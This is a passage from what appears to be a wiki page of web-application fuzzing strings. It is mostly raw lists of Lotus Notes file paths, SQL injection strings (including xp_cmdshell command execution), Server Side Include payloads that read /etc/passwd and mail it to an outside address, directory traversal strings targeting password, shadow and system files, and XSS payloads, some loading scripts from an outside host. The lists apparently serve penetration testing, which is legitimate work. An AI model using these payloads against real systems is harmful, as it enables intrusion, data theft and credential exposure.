HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME 